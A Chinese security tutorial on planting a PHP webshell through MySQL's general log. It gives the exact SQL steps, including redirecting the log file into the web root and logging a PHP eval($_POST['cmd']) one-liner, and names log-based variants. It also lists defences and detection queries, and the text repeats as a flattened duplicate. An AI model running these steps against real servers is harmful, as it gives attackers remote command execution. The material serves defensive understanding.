MySQL写马详解
字数 1005 2025-08-09 18:43:59

MySQL日志写马技术详解

一、概述

MySQL日志写马是一种利用MySQL数据库日志功能将恶意代码写入服务器文件系统的技术。攻击者通过控制MySQL数据库,利用其日志功能将PHP等脚本代码写入Web目录,从而获取WebShell权限。

二、前置条件

1. 必要权限

  • 需要具备MySQL的FILE权限(通常为root或高权限用户)
  • 需要知道Web服务器的绝对路径

2. 关键全局变量

MySQL有两个关键全局变量控制日志功能:

  1. general_log:日志记录状态

    • ON:开启日志记录
    • OFF:关闭日志记录(默认值)
  2. general_log_file:日志文件路径

    • 默认路径为hostname.log
    • 可自定义设置为任意路径

三、攻击步骤详解

1. 检查当前日志状态

SHOW VARIABLES LIKE 'general_log%';

2. 开启日志记录功能

SET GLOBAL general_log = 'ON';

3. 修改日志文件路径

SET GLOBAL general_log_file = '/var/www/html/shell.php';

注:路径需替换为实际Web目录

4. 写入恶意代码

通过执行SQL语句将PHP代码写入日志文件:

SELECT '<?php @eval($_POST["cmd"]);?>';

5. 恢复原始设置(可选)

SET GLOBAL general_log = 'OFF';
SET GLOBAL general_log_file = '/original/path/mysql.log';

四、防御措施

1. 权限控制

  • 限制MySQL用户的FILE权限
  • 避免使用root账户连接应用

2. 配置加固

  • 确保general_log默认关闭
  • 限制general_log_file的修改权限

3. 文件监控

  • 监控Web目录下异常.php文件的创建
  • 设置文件完整性检查

4. 其他防护

  • 使用安全的数据库连接方式
  • 定期审计数据库配置

五、技术原理

MySQL的general log会记录所有执行的SQL语句。当将日志文件设置为.php后缀并写入PHP代码时,Web服务器会将该文件解析为PHP脚本,从而执行其中的恶意代码。

六、检测方法

  1. 检查异常日志文件:
SHOW VARIABLES LIKE 'general_log%';
  1. 检查具有FILE权限的用户:
SELECT user, host FROM mysql.user WHERE File_priv = 'Y';
  1. 检查Web目录下最近创建的.php文件

七、变体技术

  1. 慢查询日志写马:利用slow_query_logslow_query_log_file变量
  2. 二进制日志写马:利用log_binlog_bin_basename变量
  3. 错误日志写马:利用log_error变量

八、注意事项

  1. 路径必须准确,否则无法在Web目录生成文件
  2. 需要Web服务器有对应目录的写入权限
  3. 某些环境下可能需要重启MySQL服务使配置生效
  4. 现代WAF可能会拦截此类攻击

通过以上技术细节,安全人员可以更好地理解MySQL日志写马的原理,并采取相应的防御措施。

MySQL日志写马技术详解 一、概述 MySQL日志写马是一种利用MySQL数据库日志功能将恶意代码写入服务器文件系统的技术。攻击者通过控制MySQL数据库,利用其日志功能将PHP等脚本代码写入Web目录,从而获取WebShell权限。 二、前置条件 1. 必要权限 需要具备MySQL的 FILE 权限(通常为root或高权限用户) 需要知道Web服务器的绝对路径 2. 关键全局变量 MySQL有两个关键全局变量控制日志功能: general_log :日志记录状态 ON:开启日志记录 OFF:关闭日志记录(默认值) general_log_file :日志文件路径 默认路径为 hostname.log 可自定义设置为任意路径 三、攻击步骤详解 1. 检查当前日志状态 2. 开启日志记录功能 3. 修改日志文件路径 注:路径需替换为实际Web目录 4. 写入恶意代码 通过执行SQL语句将PHP代码写入日志文件: 5. 恢复原始设置(可选) 四、防御措施 1. 权限控制 限制MySQL用户的 FILE 权限 避免使用root账户连接应用 2. 配置加固 确保 general_log 默认关闭 限制 general_log_file 的修改权限 3. 文件监控 监控Web目录下异常.php文件的创建 设置文件完整性检查 4. 其他防护 使用安全的数据库连接方式 定期审计数据库配置 五、技术原理 MySQL的general log会记录所有执行的SQL语句。当将日志文件设置为.php后缀并写入PHP代码时,Web服务器会将该文件解析为PHP脚本,从而执行其中的恶意代码。 六、检测方法 检查异常日志文件: 检查具有 FILE 权限的用户: 检查Web目录下最近创建的.php文件 七、变体技术 慢查询日志写马 :利用 slow_query_log 和 slow_query_log_file 变量 二进制日志写马 :利用 log_bin 和 log_bin_basename 变量 错误日志写马 :利用 log_error 变量 八、注意事项 路径必须准确,否则无法在Web目录生成文件 需要Web服务器有对应目录的写入权限 某些环境下可能需要重启MySQL服务使配置生效 现代WAF可能会拦截此类攻击 通过以上技术细节,安全人员可以更好地理解MySQL日志写马的原理,并采取相应的防御措施。